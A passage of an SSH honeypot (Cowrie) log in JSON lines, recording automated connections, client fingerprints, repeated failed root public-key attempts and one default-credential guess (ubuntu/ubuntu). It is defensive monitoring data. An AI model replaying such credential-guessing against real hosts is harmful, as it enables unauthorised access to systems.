failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:32:54.893267Z","src_ip":"148.135.50.34","session":"2e404a3c1578","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:32:54.967394Z","src_ip":"148.135.50.34","session":"2e404a3c1578","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.210.194.2","src_port":52496,"dst_ip":"10.17.0.5","dst_port":22,"session":"fba360719af9","protocol":"ssh","message":"New connection: 192.210.194.2:52496 (10.17.0.5:22) [session: fba360719af9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:32:57.585846Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:32:57.590250Z","src_ip":"192.210.194.2","session":"fba360719af9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:32:57.662736Z","src_ip":"192.210.194.2","session":"fba360719af9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a8:64:cf:99:d9:e8:87:3c:7b:21:9f:b2:7b:9e:ff:cd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAmtVDcj+S86pPh2WYiTCWIoHbuZoTsnAAAIp8GfRplKgkWtWXU7yT9QyD0Ad2XlX9XXOxarbEtkN5YwccOBHpG2+ZvHwa8SBVKUR1ARrxkcgoelh5JHkre8FN8Pes6zSLWFEyqreMqsFbJp79e6/O/0BCW7sQkALthySzcLwJofRRk9SG5N88LM0hPZ0ZQdWSagMTC9YfF+M5MTweSkKemmAEWla0B1TqM5Ow/QtopXuD9xZyBXFkhIiueE5hxY7kDwBNeBt22zHhxbR2qLnc+yYenmRiNBqzHb+iEAfaDNdS9QOM43hewavWf3UqD/9dK+k/AE7AeQjJ5bnVgcEPYw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a8:64:cf:99:d9:e8:87:3c:7b:21:9f:b2:7b:9e:ff:cd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:32:58.003195Z","src_ip":"192.210.194.2","session":"fba360719af9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a8:64:cf:99:d9:e8:87:3c:7b:21:9f:b2:7b:9e:ff:cd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAmtVDcj+S86pPh2WYiTCWIoHbuZoTsnAAAIp8GfRplKgkWtWXU7yT9QyD0Ad2XlX9XXOxarbEtkN5YwccOBHpG2+ZvHwa8SBVKUR1ARrxkcgoelh5JHkre8FN8Pes6zSLWFEyqreMqsFbJp79e6/O/0BCW7sQkALthySzcLwJofRRk9SG5N88LM0hPZ0ZQdWSagMTC9YfF+M5MTweSkKemmAEWla0B1TqM5Ow/QtopXuD9xZyBXFkhIiueE5hxY7kDwBNeBt22zHhxbR2qLnc+yYenmRiNBqzHb+iEAfaDNdS9QOM43hewavWf3UqD/9dK+k/AE7AeQjJ5bnVgcEPYw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:32:58.006063Z","src_ip":"192.210.194.2","session":"fba360719af9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c7:3d:6d:0b:ed:fb:f1:32:7a:36:f4:1b:f1:d8:31:89","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDfLjYd6GLiemqFP32xK6XWSu9RuJ7vZPgd2oKjiiOlvR/KrOUfTbo9tiFRAqsfgBevhe0XnLUbIvZAO6+xKBDkf9c2Pxss9kOUbjPCzD/zJhg9s2IyeIbzfquS8uk7HpwpLHDAEQ0CRrhWUMqPOyTUy98RTNACpADBGgqi7I9Q5CTP8CIlRMBaTAXDZh0W7lXydZKnHEHV70gN8vLAL3GYyVAkajL1hA7jLgKW8Fca0T6j1N6LY3dwbJj7dytpdDKUixNARyTqJWqqjwEfBh+tvSL4XMyphTJG3VxL8TCiSJVeyFA0jKr3DMC9nkPlDeyuicJ5M71sxslD18EsEDQm4YrAMjEb5AyGnnRNo2WDntMpVLRf/tVnzWM4xmylz7ony0EdFQgnXRtZ9kJ7t9PVxdHIc0/o19IqJ2hZOQC1hBZaIKnq89UgdcKXSYWt0qd3Bg+27+zUbTCocDv51YYH3vJQTGVMnXEcCiR2I1keAbvWHtLqCd29W3EZBHsoXmFpcs9L2XYX7CMlFfdh1qSbA/7PVh8f/cSh+REXS4jDtM+mxCRbtno3S+wrHUXG4pjjZ0sFSxk4UU/AnUe3Txis2nGXbFVIMyjzNi6XWABTUuXoyKP7gBykk0HgbnPs7l5djLRRWJ5ndh5yRFz5LN+oHAOV1cuO9CUUG8BsvtYW8w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c7:3d:6d:0b:ed:fb:f1:32:7a:36:f4:1b:f1:d8:31:89","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:32:58.078788Z","src_ip":"192.210.194.2","session":"fba360719af9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c7:3d:6d:0b:ed:fb:f1:32:7a:36:f4:1b:f1:d8:31:89","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDfLjYd6GLiemqFP32xK6XWSu9RuJ7vZPgd2oKjiiOlvR/KrOUfTbo9tiFRAqsfgBevhe0XnLUbIvZAO6+xKBDkf9c2Pxss9kOUbjPCzD/zJhg9s2IyeIbzfquS8uk7HpwpLHDAEQ0CRrhWUMqPOyTUy98RTNACpADBGgqi7I9Q5CTP8CIlRMBaTAXDZh0W7lXydZKnHEHV70gN8vLAL3GYyVAkajL1hA7jLgKW8Fca0T6j1N6LY3dwbJj7dytpdDKUixNARyTqJWqqjwEfBh+tvSL4XMyphTJG3VxL8TCiSJVeyFA0jKr3DMC9nkPlDeyuicJ5M71sxslD18EsEDQm4YrAMjEb5AyGnnRNo2WDntMpVLRf/tVnzWM4xmylz7ony0EdFQgnXRtZ9kJ7t9PVxdHIc0/o19IqJ2hZOQC1hBZaIKnq89UgdcKXSYWt0qd3Bg+27+zUbTCocDv51YYH3vJQTGVMnXEcCiR2I1keAbvWHtLqCd29W3EZBHsoXmFpcs9L2XYX7CMlFfdh1qSbA/7PVh8f/cSh+REXS4jDtM+mxCRbtno3S+wrHUXG4pjjZ0sFSxk4UU/AnUe3Txis2nGXbFVIMyjzNi6XWABTUuXoyKP7gBykk0HgbnPs7l5djLRRWJ5ndh5yRFz5LN+oHAOV1cuO9CUUG8BsvtYW8w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:32:58.082969Z","src_ip":"192.210.194.2","session":"fba360719af9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e0:9c:02:d3:02:d7:27:39:fe:03:11:62:2d:0c:2d:e9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDkU+X0sZQZj7DnBRGuLw854TNfriHXQ3mRQ9RmRjeiyHVZA3rQFYEnWVzlQpk6HFxZ1DWSUcF29/RnkmuEtdoLlF2InNDIYs6icaoiDmVsf/8JKVwjLJx9nLA6vufYcSgwjeJAJKVoJ79cFCCUvQO3GeIdWmjtmGAEkZ34AQSPVkdtfH9BQW/hQx9T8ecxJxiUepBiuMpvPty1pJIg5BOXsSxX0KC1E4twxtAtCUTlHfz5nEHC7YzUGIQ+d8FRxXTpohycJglwXL9GD09WdPO7kPazEdzGj0y6dFQiNYdy4DByVoknLa1rxUyEKSk11T5dlE/yIF35aUPGi1I91AHZcXDERlHvN0SN/eB/nSOCAkBAzyvz3kUAGOWb6Eta+ya72egp7OQijEq/ALiBzL/OCJ5+91LfTpZcrfH+aaFedrn0kClb8p/Yl+8VpU5wRJhgntCYBMuFX7syg616AWoUpr7YZ2dadL9t4iOe+ekH+PdL8q0/LnC59qPVIL0pbCmEz/NMvY0aG54w0jEMMNjCoE89VsNO2KNpdhIQHWM9+HTeodIVbeF2s1pH3gSgc/DxxvRFqfXV+ZUKLjmylvFjpthKHBh76T46zyA+Ki7MKG6vQMgKVxjfjvq7oDIoGkMf0DiKxsaMOtrcI4mvKoTmrjckD7h5EbyJCnEmqCa2GQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e0:9c:02:d3:02:d7:27:39:fe:03:11:62:2d:0c:2d:e9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:32:58.155755Z","src_ip":"192.210.194.2","session":"fba360719af9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e0:9c:02:d3:02:d7:27:39:fe:03:11:62:2d:0c:2d:e9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDkU+X0sZQZj7DnBRGuLw854TNfriHXQ3mRQ9RmRjeiyHVZA3rQFYEnWVzlQpk6HFxZ1DWSUcF29/RnkmuEtdoLlF2InNDIYs6icaoiDmVsf/8JKVwjLJx9nLA6vufYcSgwjeJAJKVoJ79cFCCUvQO3GeIdWmjtmGAEkZ34AQSPVkdtfH9BQW/hQx9T8ecxJxiUepBiuMpvPty1pJIg5BOXsSxX0KC1E4twxtAtCUTlHfz5nEHC7YzUGIQ+d8FRxXTpohycJglwXL9GD09WdPO7kPazEdzGj0y6dFQiNYdy4DByVoknLa1rxUyEKSk11T5dlE/yIF35aUPGi1I91AHZcXDERlHvN0SN/eB/nSOCAkBAzyvz3kUAGOWb6Eta+ya72egp7OQijEq/ALiBzL/OCJ5+91LfTpZcrfH+aaFedrn0kClb8p/Yl+8VpU5wRJhgntCYBMuFX7syg616AWoUpr7YZ2dadL9t4iOe+ekH+PdL8q0/LnC59qPVIL0pbCmEz/NMvY0aG54w0jEMMNjCoE89VsNO2KNpdhIQHWM9+HTeodIVbeF2s1pH3gSgc/DxxvRFqfXV+ZUKLjmylvFjpthKHBh76T46zyA+Ki7MKG6vQMgKVxjfjvq7oDIoGkMf0DiKxsaMOtrcI4mvKoTmrjckD7h5EbyJCnEmqCa2GQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:32:58.159358Z","src_ip":"192.210.194.2","session":"fba360719af9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"39:ba:90:1e:44:18:4a:4d:ac:c1:9d:ca:f1:15:08:ad","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDn7FvHN2IJp4D+7jHe5YGWNzynbB3zUkUOj7mV3+PrZ8MmJQDsJmLCuRgwAPLXPoHngJt8nfwQyD1DrxfEy9/Ztu5wAsbq0xcqQ/UFN1nAQKbTVuIi65/KuRV9bJf0yVQ6exTbOxQdzE5JOwUm3DrCXa8c1wjGsZmEI63mxbkwfU+Vy0fzL2e3GWdauTTzHbL7LdUzuuebMtfOsghppHRjwfH11QzZkvvQ6JQDIb4FznrfYWjRDzEyaDzK0x87X9Od/dvJgmCDe3As4O6if/kXvPvgqfNQSJUkZxkctc9Oe8X6LACmzQblaScyKBVX8fRLWO6ZZe4x8oXe875iW3apKe4oibnU+q4Rm2f9N965U3qq5zutWqgqjNNR9/krd5nlfSx1UTbbH7lHGEaeomvWnwcNp70VMc+BcX/IWGIszgYAjIndkMGSziyIJo77f3voAnn1GmOeyEPh50XPoGmGk3Z07yKh8xEeWKvcm3laNvwC8nCf2ZFdF/lIWaeElzS8PpTeV9cvis6IjmbqR5Q43bNret0MVsvkYQRtZ0bMnAoUlM0LDc421f/ieP6HGdNPK+08b+xVLVsMWICxlXwE4ckbZEcN5G1Py+Hx6L2vSfi/Nabts/MzjPaM3We3Oytz00VxbRpfLyXS0TPVM1i/Dnhs4BQeKelK/D8tN3VxEQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 39:ba:90:1e:44:18:4a:4d:ac:c1:9d:ca:f1:15:08:ad","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:32:58.234689Z","src_ip":"192.210.194.2","session":"fba360719af9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"39:ba:90:1e:44:18:4a:4d:ac:c1:9d:ca:f1:15:08:ad","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDn7FvHN2IJp4D+7jHe5YGWNzynbB3zUkUOj7mV3+PrZ8MmJQDsJmLCuRgwAPLXPoHngJt8nfwQyD1DrxfEy9/Ztu5wAsbq0xcqQ/UFN1nAQKbTVuIi65/KuRV9bJf0yVQ6exTbOxQdzE5JOwUm3DrCXa8c1wjGsZmEI63mxbkwfU+Vy0fzL2e3GWdauTTzHbL7LdUzuuebMtfOsghppHRjwfH11QzZkvvQ6JQDIb4FznrfYWjRDzEyaDzK0x87X9Od/dvJgmCDe3As4O6if/kXvPvgqfNQSJUkZxkctc9Oe8X6LACmzQblaScyKBVX8fRLWO6ZZe4x8oXe875iW3apKe4oibnU+q4Rm2f9N965U3qq5zutWqgqjNNR9/krd5nlfSx1UTbbH7lHGEaeomvWnwcNp70VMc+BcX/IWGIszgYAjIndkMGSziyIJo77f3voAnn1GmOeyEPh50XPoGmGk3Z07yKh8xEeWKvcm3laNvwC8nCf2ZFdF/lIWaeElzS8PpTeV9cvis6IjmbqR5Q43bNret0MVsvkYQRtZ0bMnAoUlM0LDc421f/ieP6HGdNPK+08b+xVLVsMWICxlXwE4ckbZEcN5G1Py+Hx6L2vSfi/Nabts/MzjPaM3We3Oytz00VxbRpfLyXS0TPVM1i/Dnhs4BQeKelK/D8tN3VxEQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:32:58.238402Z","src_ip":"192.210.194.2","session":"fba360719af9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a6:19:55:2b:39:4d:3e:ca:55:3c:d6:5d:0a:19:5f:c2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDTxJ9+rpDCXcRvyUlIfJLYQEVdCKA7m0t7wGmxHVvR+6mOXF7+sotgXQEB0Xg/lb0LJsdzt+i79o1SahFSjbcQIH/zwyCLIx8KcO90vMCGQvroOdnOJNMQl3B97cUnXjeXkmbm6tENPtsssrE0YkHUeBg6OY+ec7hNG1rDLLBsnuwz3QIrFZhmdntcMUgoKQoSLn/JlL7sH7Ub0LLlMe0/aC9DluK+z4hmk1t6pc4PbpGyyPMbY4sg4Z8xiTbrMpICjuhrwDz7ZCdYxGm2nFpxIOSV6YcONFPGuL6BToZSBdHPOVmIk8RO4iyjO6D+8SWHKfSijlezTlP7NcEVIrvUTWaL2/Sy2hGusH9GmWY5qzF4ad18zlB72Izg+1ZdUl9x46xNkEinabdVqWcGnGCaEetK/dVbEcmD5cggcDGHbWMlvC3OXv+Y32Q2lHhSuTEyX2sWe/6v/cz+mhfhThipUQztZ6DVwIaBaCbLGO+uJ59+NiYIWmB+vNVyJLrMEm+5bVwl/mTZav+5RgwLrBLrAuQTV49QvWVfUSAYfR5PJBUHSo9K9a+zEVGb6MqHtt6Mht7xNuUA+L0wsOZnokDYKJbJaj7C/n42eH0H5lwOCPjXNcREa2rXJqfbHckCGJA3Ffo7uzO4LuPCTQDW0pnWjpI/+/puEr3JxoOVnUlm4w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a6:19:55:2b:39:4d:3e:ca:55:3c:d6:5d:0a:19:5f:c2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:32:58.310600Z","src_ip":"192.210.194.2","session":"fba360719af9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a6:19:55:2b:39:4d:3e:ca:55:3c:d6:5d:0a:19:5f:c2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDTxJ9+rpDCXcRvyUlIfJLYQEVdCKA7m0t7wGmxHVvR+6mOXF7+sotgXQEB0Xg/lb0LJsdzt+i79o1SahFSjbcQIH/zwyCLIx8KcO90vMCGQvroOdnOJNMQl3B97cUnXjeXkmbm6tENPtsssrE0YkHUeBg6OY+ec7hNG1rDLLBsnuwz3QIrFZhmdntcMUgoKQoSLn/JlL7sH7Ub0LLlMe0/aC9DluK+z4hmk1t6pc4PbpGyyPMbY4sg4Z8xiTbrMpICjuhrwDz7ZCdYxGm2nFpxIOSV6YcONFPGuL6BToZSBdHPOVmIk8RO4iyjO6D+8SWHKfSijlezTlP7NcEVIrvUTWaL2/Sy2hGusH9GmWY5qzF4ad18zlB72Izg+1ZdUl9x46xNkEinabdVqWcGnGCaEetK/dVbEcmD5cggcDGHbWMlvC3OXv+Y32Q2lHhSuTEyX2sWe/6v/cz+mhfhThipUQztZ6DVwIaBaCbLGO+uJ59+NiYIWmB+vNVyJLrMEm+5bVwl/mTZav+5RgwLrBLrAuQTV49QvWVfUSAYfR5PJBUHSo9K9a+zEVGb6MqHtt6Mht7xNuUA+L0wsOZnokDYKJbJaj7C/n42eH0H5lwOCPjXNcREa2rXJqfbHckCGJA3Ffo7uzO4LuPCTQDW0pnWjpI/+/puEr3JxoOVnUlm4w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:32:58.314948Z","src_ip":"192.210.194.2","session":"fba360719af9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:32:58.387722Z","src_ip":"192.210.194.2","session":"fba360719af9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":42462,"dst_ip":"159.203.135.109","dst_port":22,"session":"c91206a338a8","protocol":"ssh","message":"New connection: 2.57.122.208:42462 (159.203.135.109:22) [session: c91206a338a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:34:01.597474Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:34:01.778023Z","src_ip":"2.57.122.208","session":"c91206a338a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:34:01.781832Z","src_ip":"2.57.122.208","session":"c91206a338a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:34:03.130029Z","src_ip":"2.57.122.208","session":"c91206a338a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:34:04.302158Z","src_ip":"2.57.122.208","session":"c91206a338a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"86.111.176.100","src_port":35084,"dst_ip":"10.17.0.5","dst_port":22,"session":"11cc928310dc","protocol":"ssh","message":"New connection: 86.111.176.100:35084 (10.17.0.5:22) [session: 11cc928310dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:35:18.056710Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:35:18.061604Z","src_ip":"86.111.176.100","session":"11cc928310dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:35:18.133619Z","src_ip":"86.111.176.100","session":"11cc928310dc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"40:51:e6:67:4c:7d:5f:e8:af:46:46:d0:e0:6c:06:95","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqolY9rKeaBRXu0rp5wTsuSNwvNuqBOpWXiN/ytayFqomLeMtsPderM4acjvEfIWDeU9cN1iU1gIvkU8wE6o7ovV59H7KKn0kpzpdM9M9vBuu4omRJ44FUnyvfSyF4pT3xtpyJX6hssDdbbl2Z4eIGoxMHjHT7KHk25A11/CLK9xdlavCIOMKp3kPXfMd4JfrQjFD88hZRClAA+sHm1LWgyoa93W3nULVczsOugH88WGab9GtF1IZnB+NdSz+uMFiB3TavDj6Mn2FqmOLLDKCBJwIwLuBtLV+MzaSzzadhERUYFglGCOGblKy8Y7Q7OMVTvSCJTwLMCokvWKjTXNHB","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 40:51:e6:67:4c:7d:5f:e8:af:46:46:d0:e0:6c:06:95","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:35:18.457349Z","src_ip":"86.111.176.100","session":"11cc928310dc","protocol":"ssh"}
